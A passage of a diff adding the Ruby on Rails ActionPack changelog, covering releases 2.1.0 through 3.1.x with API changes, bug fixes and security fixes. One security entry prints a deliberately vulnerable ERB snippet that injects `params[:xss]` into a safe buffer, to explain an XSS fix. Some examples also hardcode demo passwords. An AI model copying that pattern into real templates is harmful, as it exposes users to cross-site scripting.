+ Pastorino]
+* `rake assets:precompile` loads the application but does not initialize
+ it.
+ To the app developer, this means configuration add in
+ config/initializers/* will not be executed.
+ Plugins developers need to special case their initializers that are
+ meant to be run in the assets group by adding :group => :assets. *José Valim*
+
+* Sprockets uses config.assets.prefix for asset_path *asee*
+
+* FileStore key_file_path properly limit filenames to 255 characters. *phuibonhoa*
+
+* Fix Hash#to_query edge case with html_safe strings. *brainopia*
+
+* Allow asset tag helper methods to accept :digest => false option in order to completely avoid the digest generation.
+ Useful for linking assets from static html files or from emails when the user could probably look at an older html email with an older asset. [Santiago Pastorino]
+* Don't mount Sprockets server at config.assets.prefix if config.assets.compile is false. *Mark J. Titorenko*
+
+* Set relative url root in assets when controller isn't available for Sprockets (eg. Sass files using asset_path). Fixes #2435 *Guillermo Iguaran*
+
+* Fix basic auth credential generation to not make newlines. GH #2882
+
+* Fixed the behavior of asset pipeline when config.assets.digest and config.assets.compile are false and requested asset isn't precompiled.
+ Before the requested asset were compiled anyway ignoring that the config.assets.compile flag is false. *Guillermo Iguaran*
+
+* CookieJar is now Enumerable. Fixes #2795
+
+* Fixed AssetNotPrecompiled error raised when rake assets:precompile is compiling certain .erb files. See GH #2763 #2765 #2805 *Guillermo Iguaran*
+
+* Manifest is correctly placed in assets path when default assets prefix is changed. Fixes #2776 *Guillermo Iguaran*
+
+* Fixed stylesheet_link_tag and javascript_include_tag to respect additional options passed by the users when debug is on. *Guillermo Iguaran*
+
+
+## Rails 3.1.0 (August 30, 2011) ##
+
+* Param values are `paramified` in controller tests. *David Chelimsky*
+
+* x_sendfile_header now defaults to nil and config/environments/production.rb doesn't set a particular value for it. This allows servers to set it through X-Sendfile-Type. *Santiago Pastorino*
+
+* The submit form helper does not generate an id "object_name_id" anymore. *fbrusatti*
+
+* Make sure respond_with with :js tries to render a template in all cases *José Valim*
+
+* json_escape will now return a SafeBuffer string if it receives SafeBuffer string *tenderlove*
+
+* Make sure escape_js returns SafeBuffer string if it receives SafeBuffer string *Prem Sichanugrist*
+
+* Fix escape_js to work correctly with the new SafeBuffer restriction *Paul Gallagher*
+
+* Brought back alternative convention for namespaced models in i18n *thoefer*
+
+ Now the key can be either "namespace.model" or "namespace/model" until further deprecation.
+
+* It is prohibited to perform a in-place SafeBuffer mutation *tenderlove*
+
+ The old behavior of SafeBuffer allowed you to mutate string in place via
+ method like `sub!`. These methods can add unsafe strings to a safe buffer,
+ and the safe buffer will continue to be marked as safe.
+
+ An example problem would be something like this:
+
+ <%= link_to('hello world', @user).sub!(/hello/, params[:xss]) %>
+
+ In the above example, an untrusted string (`params[:xss]`) is added to the
+ safe buffer returned by `link_to`, and the untrusted content is successfully
+ sent to the client without being escaped. To prevent this from happening
+ `sub!` and other similar methods will now raise an exception when they are called on a safe buffer.
+
+ In addition to the in-place versions, some of the versions of these methods which return a copy of the string will incorrectly mark strings as safe. For example:
+
+ <%= link_to('hello world', @user).sub(/hello/, params[:xss]) %>
+
+ The new versions will now ensure that *all* strings returned by these methods on safe buffers are marked unsafe.
+
+ You can read more about this change in http://groups.google.com/group/rubyonrails-security/browse_thread/thread/2e516e7acc96c4fb
+
+* Warn if we cannot verify CSRF token authenticity *José Valim*
+
+* Allow AM/PM format in datetime selectors *Aditya Sanghi*
+
+* Only show dump of regular env methods on exception screen (not all the rack crap) *DHH*
+
+* auto_link has been removed with no replacement. If you still use auto_link
+ please install the rails_autolink gem:
+ http://github.com/tenderlove/rails_autolink
+
+ *tenderlove*
+
+* Added streaming support, you can enable it with: *José Valim*
+
+ class PostsController < ActionController::Base
+ stream :only => :index
+ end
+
+ Please read the docs at `ActionController::Streaming` for more information.
+
+* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers and only consider the format given as parameter *José Valim*
+
+* Created `ActionView::Renderer` and specified an API for `ActionView::Context`, check those objects for more information *José Valim*
+
+* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default *Prem Sichanugrist*
+
+ This can be customized by setting `ActionController::Base.wrap_parameters` in `config/initializer/wrap_parameters.rb`
+
+* RJS has been extracted out to a gem. *fxn*
+
+* Implicit actions named not_implemented can be rendered. *Santiago Pastorino*
+
+* Wildcard route will always match the optional format segment by default. *Prem Sichanugrist*
+
+ For example if you have this route:
+
+ match '*pages' => 'pages#show'
+
+ by requesting '/foo/bar.json', your `params[:pages]` will be equals to "foo/bar" with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `:format => false` like this:
+
+ match '*pages' => 'pages#show', :format => false
+
+* Added Base.http_basic_authenticate_with to do simple http basic authentication with a single class method call *DHH*
+
+ class PostsController < ApplicationController
+ USER_NAME, PASSWORD = "dhh", "secret"
+
+ before_filter :authenticate, :except => [ :index ]
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+
+ private
+ def authenticate
+ authenticate_or_request_with_http_basic do |user_name, password|
+ user_name == USER_NAME && password == PASSWORD
+ end
+ end
+ end
+
+ ..can now be written as
+
+ class PostsController < ApplicationController
+ http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+ def index
+ render :text => "Everyone can see me!"
+ end
+
+ def edit
+ render :text => "I'm only accessible if you know the password"
+ end
+ end
+
+* Allow you to add `force_ssl` into controller to force browser to transfer data via HTTPS protocol on that particular controller. You can also specify `:only` or `:except` to specific it to particular action. *DHH and Prem Sichanugrist*
+
+* Allow FormHelper#form_for to specify the :method as a direct option instead of through the :html hash *DHH*
+
+ form_for(@post, remote: true, method: :delete) instead of form_for(@post, remote: true, html: { method: :delete })
+
+* Make JavaScriptHelper#j() an alias for JavaScriptHelper#escape_javascript() -- note this then supersedes the Object#j() method that the JSON gem adds within templates using the JavaScriptHelper *DHH*
+
+* Sensitive query string parameters (specified in config.filter_parameters) will now be filtered out from the request paths in the log file. *Prem Sichanugrist, fxn*
+
+* URL parameters which return false for to_param now appear in the query string (previously they were removed) *Andrew White*
+
+* URL parameters which return nil for to_param are now removed from the query string *Andrew White*
+
+* ActionDispatch::MiddlewareStack now uses composition over inheritance. It is
+ no longer an array which means there may be methods missing that were not tested.
+* Add an :authenticity_token option to form_tag for custom handling or to omit the token (pass :authenticity_token => false). *Jakub Kuźma, Igor Wiedler*
+
+* HTML5 button_tag helper. *Rizwan Reza*
+
+* Template lookup now searches further up in the inheritance chain. *Artemave*
+
+* Brought back config.action_view.cache_template_loading, which allows to decide whether templates should be cached or not. *Piotr Sarnacki*
+
+* url_for and named url helpers now accept :subdomain and :domain as options, *Josh Kalderimis*
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused (check the documentation for examples). *Josh Kalderimis*
+
+* Added config.action_controller.include_all_helpers. By default 'helper :all' is done in ActionController::Base, which includes all the helpers by default. Setting include_all_helpers to false will result in including only application_helper and helper corresponding to controller (like foo_helper for foo_controller). *Piotr Sarnacki*
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a :data hash of options:
+
+ tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+ # => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+
+ Keys are dasherized. Values are JSON-encoded, except for strings and symbols. *Stephen Celis*
+
+* Deprecate old template handler API. The new API simply requires a template handler to respond to call. *José Valim*
+
+* :rhtml and :rxml were finally removed as template handlers. *José Valim*
+
+* Moved etag responsibility from ActionDispatch::Response to the middleware stack. *José Valim*
+
+* Rely on Rack::Session stores API for more compatibility across the Ruby world. This is backwards incompatible since Rack::Session expects #get_session to accept 4 arguments and requires #destroy_session instead of simply #destroy. *José Valim*
+
+* file_field automatically adds :multipart => true to the enclosing form. *Santiago Pastorino*
+
+* Renames csrf_meta_tag -> csrf_meta_tags, and aliases csrf_meta_tag for backwards compatibility. *fxn*
+
+* Add Rack::Cache to the default stack. Create a Rails store that delegates to the Rails cache, so by default, whatever caching layer you are using will be used for HTTP caching. Note that Rack::Cache will be used if you use #expires_in, #fresh_when or #stale with :public => true. Otherwise, the caching rules will apply to the browser only. *Yehuda Katz, Carl Lerche*
+
+
+## Rails 3.0.7 (April 18, 2011) ##
+
+* No changes.
+
+
+* Rails 3.0.6 (April 5, 2011)
+
+* Fixed XSS vulnerability in `auto_link`. `auto_link` no longer marks input as
+ html safe. Please make sure that calls to auto_link() are wrapped in a
+ sanitize(), or a raw() depending on the type of input passed to auto_link().
+ For example:
+
+ <%= sanitize(auto_link(some_user_input)) %>
+
+ Thanks to Torben Schulz for reporting this. The fix can be found here:
+ 61ee3449674c591747db95f9b3472c5c3bd9e84d
+
+* Fixes the output of `rake routes` to be correctly match to the behavior of the application, as the regular expression used to match the path is greedy and won't capture the format part by default *Prem Sichanugrist*
+
+* Fixes an issue with number_to_human when converting values which are less than 1 but greater than -1 *Josh Kalderimis*
+
+* Sensitive query string parameters (specified in config.filter_parameters) will now be filtered out from the request paths in the log file. *Prem Sichanugrist, fxn*
+
+* URL parameters which return nil for to_param are now removed from the query string *Andrew White*
+
+* Don't allow i18n to change the minor version, version now set to ~> 0.5.0 *Santiago Pastorino*
+
+* Make TranslationHelper#translate use the :rescue_format option in I18n 0.5.0 *Sven Fuchs*
+
+* Fix regression: javascript_include_tag shouldn't raise if you register an expansion key with nil or [] value *Santiago Pastorino*
+
+* Fix Action caching bug where an action that has a non-cacheable response always renders a nil response body. It now correctly renders the response body. *Cheah Chu Yeow*
+
+
+## Rails 3.0.5 (February 26, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.4 (February 8, 2011) ##
+
+* No changes.
+
+
+## Rails 3.0.3 (November 16, 2010) ##
+
+* When ActiveRecord::Base objects are sent to predicate methods, the id of the object should be sent to ARel, not the ActiveRecord::Base object.
+
+* :constraints routing should only do sanity checks against regular expressions. String arguments are OK.
+
+
+## Rails 3.0.2 (November 15, 2010) ##
+
+* The helper number_to_currency accepts a new :negative_format option to be able to configure how to render negative amounts. *Don Wilson*
+
+
+## Rails 3.0.1 (October 15, 2010) ##
+
+* No Changes, just a version bump.
+
+
+## Rails 3.0.0 (August 29, 2010) ##
+
+* password_field renders with nil value by default making the use of passwords secure by default, if you want to render you should do for instance f.password_field(:password, :value => @user.password) *Santiago Pastorino*
+
+* Symbols and strings in routes should yield the same behavior. Note this may break existing apps that were using symbols with the new routes API. *José Valim*
+
+* Add clear_helpers as a way to clean up all helpers added to this controller, maintaining just the helper with the same name as the controller. *José Valim*
+
+* Support routing constraints in functional tests. *Andrew White*
+
+* Add a header that tells Internet Explorer (all versions) to use the best available standards support. *Yehuda Katz*
+
+* Allow stylesheet/javascript extensions to be changed through railties. *Josh Kalderimis*
+
+* link_to, button_to, and tag/tag_options now rely on html_escape instead of escape_once. *fxn*
+
+* url_for returns always unescaped strings, and the :escape option is gone. *fxn*
+
+* Added accept-charset parameter and _snowman hidden field to force the contents
+ of Rails POSTed forms to be in UTF-8 *Yehuda Katz*
+
+* Upgrade to Rack 1.2.1 *Jeremy Kemper*
+
+* Allow :path to be given to match/get/post/put/delete instead of :path_names in the new router *Carlos Antônio da Silva*
+
+* Added resources_path_names to the new router DSL *José Valim*
+
+* Allow options to be given to the namespace method in the new router *Carlos Antônio da Silva*
+
+* Deprecate :name_prefix in the new router DSL *José Valim*
+
+* Add shallow routes back to the new router *Diego Carrion, Andrew White*
+
+ resources :posts do
+ shallow do
+ resources :comments
+ end
+ end
+
+ You can now use comment_path for /comments/1 instead of post_comment_path for /posts/1/comments/1.
+
+* Add support for multi-subdomain session by setting cookie host in session cookie so you can share session between www.example.com, example.com and user.example.com. #4818 *Guillermo Álvarez*
+
+* Removed textilize, textilize_without_paragraph and markdown helpers. *Santiago Pastorino*
+
+* Remove middleware laziness *José Valim*
+
+* Make session stores rely on request.cookie_jar and change set_session semantics to return the cookie value instead of a boolean. *José Valim*
+
+* OAuth 2: HTTP Token Authorization support to complement Basic and Digest Authorization. *Rick Olson*
+
+* Fixed inconsistencies in form builder and view helpers #4432 *Neeraj Singh*
+
+* Both :xml and :json renderers now forwards the given options to the model, allowing you to invoke them as render :xml => @projects, :include => :tasks *José Valim, Yehuda Katz*
+
+* Renamed the field error CSS class from fieldWithErrors to field_with_errors for consistency. *Jeremy Kemper*
+
+* Add support for shorthand routes like /projects/status(.:format) #4423 *Diego Carrion*
+
+* Changed translate helper so that it doesn’t mark every translation as safe HTML. Only keys with a "_html" suffix and keys named "html" are considered to be safe HTML. All other translations are left untouched. *Craig Davey*
+
+* New option :as added to form_for allows to change the object name. The old <% form_for :client, @post %> becomes <% form_for @post, :as => :client %> *spastorino*
+
+* Removed verify method in controllers. *JV*
+ It's now available as a plugin at http://github.com/rails/verification
+
+* Removed input, form, error_messages_for and error_message_on from views. *JV*
+ It's now available as a plugin at http://github.com/rails/dynamic_form
+
+* Routes can be scoped by controller module. *Jeremy Kemper*
+
+ # /session => Auth::SessionsController
+ scope :module => 'auth' do
+ resource :session
+ end
+
+* Added #favicon_link_tag, it uses #image_path so in particular the favicon gets an asset ID *fxn*
+
+* Fixed that default locale templates should be used if the current locale template is missing *DHH*
+
+* Added all the new HTML5 form types as individual form tag methods (search, url, number, etc) #3646 *Stephen Celis*
+
+* Changed the object used in routing constraints to be an instance of
+ ActionDispatch::Request rather than Rack::Request *YK*
+
+* Changed ActionDispatch::Request#method to return a String, to be compatible
+ with Rack::Request. Added ActionDispatch::Request#method_symbol to
+ return a symbol form of the request method. *YK*
+
+* Changed ActionDispatch::Request#method to return the original
+ method and #request_method to return the overridden method in the
+ case of methodoverride being used (this means that #method returns
+ "HEAD" and #request_method returns "GET" in HEAD requests). This
+ is for compatibility with Rack::Request *YK*
+
+* #concat is now deprecated in favor of using <%= %> helpers *YK*
+
+* Block helpers now return Strings, so you can use <%= form_for @foo do |f| %>.
+ <% form_for do |f| %> still works with deprecation notices *YK*
+
+* Add a new #mount method on the router that does not anchor the PATH_INFO
+ at the end *YK & CL*
+
+* Create a new LookupContext object that is responsible for performantly
+ finding a template for a given pattern *JV*
+
+* Removed relative_url_for in favor of respecting SCRIPT_NAME *YK & CL*
+
+* Changed file streaming to use Rack::Sendfile middleware *YK*
+
+* ActionDispatch::Request#content_type returns a String to be compatible with
+ Rack::Request. Use #content_mime_type for the Mime::Type instance *YK*
+
+* Updated Prototype to 1.6.1 and Scriptaculous to 1.8.3 *ML*
+
+* Change the preferred way that URL helpers are included into a class*YK & CL*
+
+ # for all helpers including named routes
+ include Rails.application.router.url_helpers
+
+ # for just url_for
+ include Rails.application.router.url_for
+
+* Fixed that PrototypeHelper#update_page should return html_safe *DHH*
+
+* Fixed that much of DateHelper wouldn't return html_safe? strings *DHH*
+
+* Fixed that fragment caching should return a cache hit as html_safe (or it would all just get escaped) *DHH*
+
+* Added that ActionController::Base now does helper :all instead of relying on the default ApplicationController in Rails to do it *DHH*
+
+* Added ActionDispatch::Request#authorization to access the http authentication header regardless of its proxy hiding *DHH*
+
+* Added :alert, :notice, and :flash as options to ActionController::Base#redirect_to that'll automatically set the proper flash before the redirection [DHH]. Examples:
+
+ flash[:notice] = 'Post was created'
+ redirect_to(@post)
+
+ ...becomes:
+
+ redirect_to(@post, :notice => 'Post was created')
+
+* Added ActionController::Base#notice/= and ActionController::Base#alert/= as a convenience accessors in both the controller and the view for flash[:notice]/= and flash[:alert]/= *DHH*
+
+
+* Introduce grouped_collection_select helper. #1249 *Dan Codeape, Erik Ostrom*
+
+* Make sure javascript_include_tag/stylesheet_link_tag does not append ".js" or ".css" onto external urls. #1664 *Matthew Rudy Jacobs*
+
+* Ruby 1.9: fix Content-Length for multibyte send_data streaming. #2661 *Sava Chankov*
+
+* Ruby 1.9: ERB template encoding using a magic comment at the top of the file. *Jeremy Kemper*
+ <%# encoding: utf-8 %>
+
+* Change integration test helpers to accept Rack environment instead of just HTTP Headers *Pratik Naik*
+
+ Before : get '/path', {}, 'Accept' => 'text/javascript'
+ After : get '/path', {}, 'HTTP_ACCEPT' => 'text/javascript'
+
+* Instead of checking Rails.env.test? in Failsafe middleware, check env["rails.raise_exceptions"] *Bryan Helmkamp*
+
+* Fixed that TestResponse.cookies was returning cookies unescaped #1867 *Doug McInnes*
+
+
+## 2.3.2 Final (March 15, 2009) ##
+
+* Fixed that redirection would just log the options, not the final url (which lead to "Redirected to #<Post:0x23150b8>") *DHH*
+
+* Don't check authenticity tokens for any AJAX requests *Ross Kaffenberger/Bryan Helmkamp*
+
+* Added ability to pass in :public => true to fresh_when, stale?, and expires_in to make the request proxy cachable #2095 *Gregg Pollack*
+
+* Fixed that passing a custom form builder would be forwarded to nested fields_for calls #2023 *Eloy Duran/Nate Wiger*
+
+* Form option helpers now support disabled option tags and the use of lambdas for selecting/disabling option tags from collections #837 *Tekin*
+
+* Added partial scoping to TranslationHelper#translate, so if you call translate(".foo") from the people/index.html.erb template, you'll actually be calling I18n.translate("people.index.foo") *DHH*
+
+* Fix a syntax error in current_page?() that was prevent matches against URL's with multiple query parameters #1385, #1868 *chris finne/Andrew White*
+
+* Added localized rescue template when I18n.locale is set (ex: public/404.da.html) #1835 *José Valim*
+
+* Make the form_for and fields_for helpers support the new Active Record nested update options. #1202 *Eloy Duran*
+
+ <% form_for @person do |person_form| %>
+ ...
+ <% person_form.fields_for :projects do |project_fields| %>
+ <% if project_fields.object.active? %>
+ Name: <%= project_fields.text_field :name %>
+ <% end %>
+ <% end %>
+ <% end %>
+
+
+* Added grouped_options_for_select helper method for wrapping option tags in optgroups. #977 *Jon Crawford*
+
+* Implement HTTP Digest authentication. #1230 [Gregg Kellogg, Pratik Naik] Example :
+
+ class DummyDigestController < ActionController::Base
+ USERS = { "lifo" => 'world' }
+
+ before_filter :authenticate
+
+ def index
+ render :text => "Hello Secret"
+ end
+
+ private
+
+ def authenticate
+ authenticate_or_request_with_http_digest("Super Secret") do |username|
+ # Return the user's password
+ USERS[username]
+ end
+ end
+ end
+
+* Improved i18n support for the number_to_human_size helper. Changes the storage_units translation data; update your translations accordingly. #1634 *Yaroslav Markin*
+ storage_units:
+ # %u is the storage unit, %n is the number (default: 2 MB)
+ format: "%n %u"
+ units:
+ byte:
+ one: "Byte"
+ other: "Bytes"
+ kb: "KB"
+ mb: "MB"
+ gb: "GB"
+ tb: "TB"
+
+* Added :silence option to BenchmarkHelper#benchmark and turned log_level into a hash parameter and deprecated the old use *DHH*
+
+* Fixed the AssetTagHelper cache to use the computed asset host as part of the cache key instead of just assuming the its a string #1299 *DHH*
+
+* Make ActionController#render(string) work as a shortcut for render :file/:template/:action => string. [#1435] [Pratik Naik] Examples:
+
+ \# Instead of render(:action => 'other_action')
+ render('other_action') # argument has no '/'
+ render(:other_action)
+
+ \# Instead of render(:template => 'controller/action')
+ render('controller/action') # argument must not begin with a '/', but contain a '/'
+
+ \# Instead of render(:file => '/Users/lifo/home.html.erb')
+ render('/Users/lifo/home.html.erb') # argument must begin with a '/'
+
+* Add :prompt option to date/time select helpers. #561 *Sam Oliver*
+
+* Fixed that send_file shouldn't set an etag #1578 *Hongli Lai*
+
+* Allow users to opt out of the spoofing checks in Request#remote_ip. Useful for sites whose traffic regularly triggers false positives. *Darren Boyd*
+
+* Deprecated formatted_polymorphic_url. *Jeremy Kemper*
+
+* Added the option to declare an asset_host as an object that responds to call (see http://github.com/dhh/asset-hosting-with-minimum-ssl for an example) *David Heinemeier Hansson*
+
+* Added support for multiple routes.rb files (useful for plugin engines). This also means that draw will no longer clear the route set, you have to do that by hand (shouldn't make a difference to you unless you're doing some funky stuff) *David Heinemeier Hansson*
+
+* Dropped formatted_* routes in favor of just passing in :format as an option. This cuts resource routes generation in half #1359 *aaronbatalion*
+
+* Remove support for old double-encoded cookies from the cookie store. These values haven't been generated since before 2.1.0, and any users who have visited the app in the intervening 6 months will have had their cookie upgraded. *Michael Koziarski*
+
+* Allow helpers directory to be overridden via ActionController::Base.helpers_dir #1424 *Sam Pohlenz*
+
+* Remove deprecated ActionController::Base#assign_default_content_type_and_charset
+
+* Changed the default of ActionView#render to assume partials instead of files when not given an options hash [David Heinemeier Hansson]. Examples:
+
+ # Instead of <%= render :partial => "account" %>
+ <%= render "account" %>
+
+ # Instead of <%= render :partial => "account", :locals => { :account => @buyer } %>
+ <%= render "account", :account => @buyer %>
+
+ # @account is an Account instance, so it uses the RecordIdentifier to replace
+ # <%= render :partial => "accounts/account", :locals => { :account => @account } %>
+ <%= render(@account) %>
+
+ # @posts is an array of Post instances, so it uses the RecordIdentifier to replace
+ # <%= render :partial => "posts/post", :collection => @posts %>
+ <%= render(@posts) %>
+
+* Remove deprecated render_component. Please use the plugin from http://github.com/rails/render_component/tree/master *Pratik Naik*
+
+* Fixed RedCloth and BlueCloth shouldn't preload. Instead just assume that they're available if you want to use textilize and markdown and let autoload require them *David Heinemeier Hansson*
+
+
+## 2.2.2 (November 21st, 2008) ##
+
+* I18n: translate number_to_human_size. Add storage_units: [Bytes, KB, MB, GB, TB] to your translations. #1448 *Yaroslav Markin*
+
+* Restore backwards compatible functionality for setting relative_url_root. Include deprecation
+
+* Switched the CSRF module to use the request content type to decide if the request is forgeable. #1145 *Jeff Cohen*
+
+* Added :only and :except to map.resources to let people cut down on the number of redundant routes in an application. Typically only useful for huge routesets. #1215 *Tom Stuart*
+
+ map.resources :products, :only => :show do |product|
+ product.resources :images, :except => :destroy
+ end
+
+* Added render :js for people who want to render inline JavaScript replies without using RJS *David Heinemeier Hansson*
+
+* Fixed that polymorphic_url should compact given array #1317 *hiroshi*
+
+* Fixed the sanitize helper to avoid double escaping already properly escaped entities #683 *antonmos/Ryan McGeary*
+
+* Fixed that FormTagHelper generated illegal html if name contained square brackets #1238 *Vladimir Dobriakov*
+
+* Fix regression bug that made date_select and datetime_select raise a Null Pointer Exception when a nil date/datetime was passed and only month and year were displayed #1289 *Bernardo Padua/Tor Erik*
+
+* Simplified the logging format for parameters (don't include controller, action, and format as duplicates) *David Heinemeier Hansson*
+
+* Remove the logging of the Session ID when the session store is CookieStore *David Heinemeier Hansson*
+
+* Fixed regex in redirect_to to fully support URI schemes #1247 *Seth Fitzsimmons*
+
+* Fixed bug with asset timestamping when using relative_url_root #1265 *Joe Goldwasser*
+
+
+## 2.2.0 RC1 (October 24th, 2008) ##
+
+* Fix incorrect closing CDATA delimiter and that HTML::Node.parse would blow up on unclosed CDATA sections *packagethief*
+
+* Added stale? and fresh_when methods to provide a layer of abstraction above request.fresh? and friends [David Heinemeier Hansson]. Example:
+
+ class ArticlesController < ApplicationController
+ def show_with_respond_to_block
+ @article = Article.find(params[:id])
+
+
+ # If the request sends headers that differs from the options provided to stale?, then
+ # the request is indeed stale and the respond_to block is triggered (and the options
+ # to the stale? call is set on the response).
+ #
+ # If the request headers match, then the request is fresh and the respond_to block is
+ # not triggered. Instead the default render will occur, which will check the last-modified
+ # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+ # of rendering the template.
+ if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+ respond_to do |wants|
+ # normal response processing
+ end
+ end
+ end
+
+ def show_with_implied_render
+ @article = Article.find(params[:id])
+
+ # Sets the response headers and checks them against the request, if the request is stale
+ # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+ # If the request is fresh, then the default render will return a "304 Not Modified"
+ # instead of rendering the template.
+ fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+ end
+ end
+
+
+* Added inline builder yield to atom_feed_helper tags where appropriate [Sam Ruby]. Example:
+
+ entry.summary :type => 'xhtml' do |xhtml|
+ xhtml.p pluralize(order.line_items.count, "line item")
+ xhtml.p "Shipped to #{order.address}"
+ xhtml.p "Paid by #{order.pay_type}"
+ end
+
+* Make PrototypeHelper#submit_to_remote a wrapper around PrototypeHelper#button_to_remote. *Tarmo Tänav*
+
+* Set HttpOnly for the cookie session store's cookie. #1046
+
+* Added FormTagHelper#image_submit_tag confirm option #784 *Alastair Brunton*
+
+* Fixed FormTagHelper#submit_tag with :disable_with option wouldn't submit the button's value when was clicked #633 *Jose Fernandez*
+
+* Stopped logging template compiles as it only clogs up the log *David Heinemeier Hansson*
+
+* Changed the X-Runtime header to report in milliseconds *David Heinemeier Hansson*
+
+* Changed BenchmarkHelper#benchmark to report in milliseconds *David Heinemeier Hansson*
+
+* Changed logging format to be millisecond based and skip misleading stats [David Heinemeier Hansson]. Went from:
+
+ Completed in 0.10000 (4 reqs/sec) | Rendering: 0.04000 (40%) | DB: 0.00400 (4%) | 200 OK [http://example.com]
+
+ ...to:
+
+ Completed in 100ms (View: 40, DB: 4) | 200 OK [http://example.com]
+
+* Add support for shallow nesting of routes. #838 *S. Brent Faulkner*
+
+ Example :
+
+ map.resources :users, :shallow => true do |user|
+ user.resources :posts
+ end
+
+ - GET /users/1/posts (maps to PostsController#index action as usual)
+ named route "user_posts" is added as usual.
+
+ - GET /posts/2 (maps to PostsController#show action as if it were not nested)
+ Additionally, named route "post" is added too.
+
+* Added button_to_remote helper. #3641 *Donald Piret, Tarmo Tänav*
+
+* Deprecate render_component. Please use render_component plugin from http://github.com/rails/render_component/tree/master *Pratik Naik*
+
+* Routes may be restricted to lists of HTTP methods instead of a single method or :any. #407 *Brennan Dunn, Gaius Centus Novus*
+ map.resource :posts, :collection => { :search => [:get, :post] }
+ map.session 'session', :requirements => { :method => [:get, :post, :delete] }
+
+* Deprecated implicit local assignments when rendering partials *Josh Peek*
+
+* Introduce current_cycle helper method to return the current value without bumping the cycle. #417 *Ken Collins*
+
+* Allow polymorphic_url helper to take url options. #880 *Tarmo Tänav*
+
+* Switched integration test runner to use Rack processor instead of CGI *Josh Peek*
+
+* Made AbstractRequest.if_modified_sense return nil if the header could not be parsed *Jamis Buck*
+
+* Added back ActionController::Base.allow_concurrency flag *Josh Peek*
+
+* AbstractRequest.relative_url_root is no longer automatically configured by a HTTP header. It can now be set in your configuration environment with config.action_controller.relative_url_root *Josh Peek*
+
+* Update Prototype to 1.6.0.2 #599 *Patrick Joyce*
+
+* Conditional GET utility methods. *Jeremy Kemper*
+ response.last_modified = @post.updated_at
+ response.etag = [:admin, @post, current_user]
+
+ if request.fresh?(response)
+ head :not_modified
+ else
+ # render ...
+ end
+
+* All 2xx requests are considered successful *Josh Peek*
+
+* Fixed that AssetTagHelper#compute_public_path shouldn't cache the asset_host along with the source or per-request proc's won't run *David Heinemeier Hansson*
+
+* Removed config.action_view.cache_template_loading, use config.cache_classes instead *Josh Peek*
+
+* Get buffer for fragment cache from template's @output_buffer *Josh Peek*
+
+* Set config.action_view.warn_cache_misses = true to receive a warning if you perform an action that results in an expensive disk operation that could be cached *Josh Peek*
+
+* Refactor template preloading. New abstractions include Renderable mixins and a refactored Template class *Josh Peek*
+
+* Changed ActionView::TemplateHandler#render API method signature to render(template, local_assigns = {}) *Josh Peek*
+
+* Changed PrototypeHelper#submit_to_remote to PrototypeHelper#button_to_remote to stay consistent with link_to_remote (submit_to_remote still works as an alias) #8994 *clemens*
+
+* Add :recursive option to javascript_include_tag and stylesheet_link_tag to be used along with :all. #480 *Damian Janowski*
+
+* Allow users to disable the use of the Accept header *Michael Koziarski*
+
+ The accept header is poorly implemented by browsers and causes strange
+ errors when used on public sites where crawlers make requests too. You can use formatted urls (e.g. /people/1.xml) to support API clients in a much simpler way.
+ To disable the header you need to set:
+ config.action_controller.use_accept_header = false
+* Do not stat template files in production mode before rendering. You will no longer be able to modify templates in production mode without restarting the server *Josh Peek*
+
+* Deprecated TemplateHandler line offset *Josh Peek*
+
+* Allow caches_action to accept cache store options. #416. [José Valim]. Example:
+
+ caches_action :index, :redirected, :if => Proc.new { |c| !c.request.format.json? }, :expires_in => 1.hour
+
+* Remove define_javascript_functions, javascript_include_tag and friends are far superior. *Michael Koziarski*
+
+* Deprecate :use_full_path render option. The supplying the option no longer has an effect *Josh Peek*
+
+* Add :as option to render a collection of partials with a custom local variable name. #509 *Simon Jefford, Pratik Naik*
+
+ render :partial => 'other_people', :collection => @people, :as => :person
+
+ This will let you access objects of @people as 'person' local variable inside 'other_people' partial template.
+
+* time_zone_select: support for regexp matching of priority zones. Resolves #195 *Ernie Miller*
+
+* Made ActionView::Base#render_file private *Josh Peek*
+
+* Refactor and simplify the implementation of assert_redirected_to. Arguments are now normalised relative to the controller being tested, not the root of the application. *Michael Koziarski*
+
+ This could cause some erroneous test failures if you were redirecting between controllers
+ in different namespaces and wrote your assertions relative to the root of the application.
+
+* Remove follow_redirect from controller functional tests.
+
+ If you want to follow redirects you can use integration tests. The functional test version was only useful if you were using redirect_to :id=>...
+* Fix polymorphic_url with singleton resources. #461 *Tammer Saleh*
+
+* Replaced TemplateFinder abstraction with ViewLoadPaths *Josh Peek*
+
+* Added block-call style to link_to [Sam Stephenson/David Heinemeier Hansson]. Example:
+
+ <% link_to(@profile) do %>
+ <strong><%= @profile.name %></strong> -- <span>Check it out!!</span>
+ <% end %>
+
+* Performance: integration test benchmarking and profiling. *Jeremy Kemper*
+
+* Make caching more aware of mime types. Ensure request format is not considered while expiring cache. *Jonathan del Strother*
+
+* Drop ActionController::Base.allow_concurrency flag *Josh Peek*
+
+* More efficient concat and capture helpers. Remove ActionView::Base.erb_variable. *Jeremy Kemper*
+
+* Added page.reload functionality. Resolves #277. *Sean Huber*
+
+* Fixed Request#remote_ip to only raise hell if the HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR doesn't match (not just if they're both present) *Mark Imbriaco, Bradford Folkens*
+
+* Allow caches_action to accept a layout option *José Valim*
+
+* Added Rack processor *Ezra Zygmuntowicz, Josh Peek*
+
+
+## 2.1.0 (May 31st, 2008) ##
+
+* InstanceTag#default_time_from_options overflows to DateTime *Geoff Buesing*
+
+* Fixed that forgery protection can be used without session tracking (Peter Jones) *#139*
+
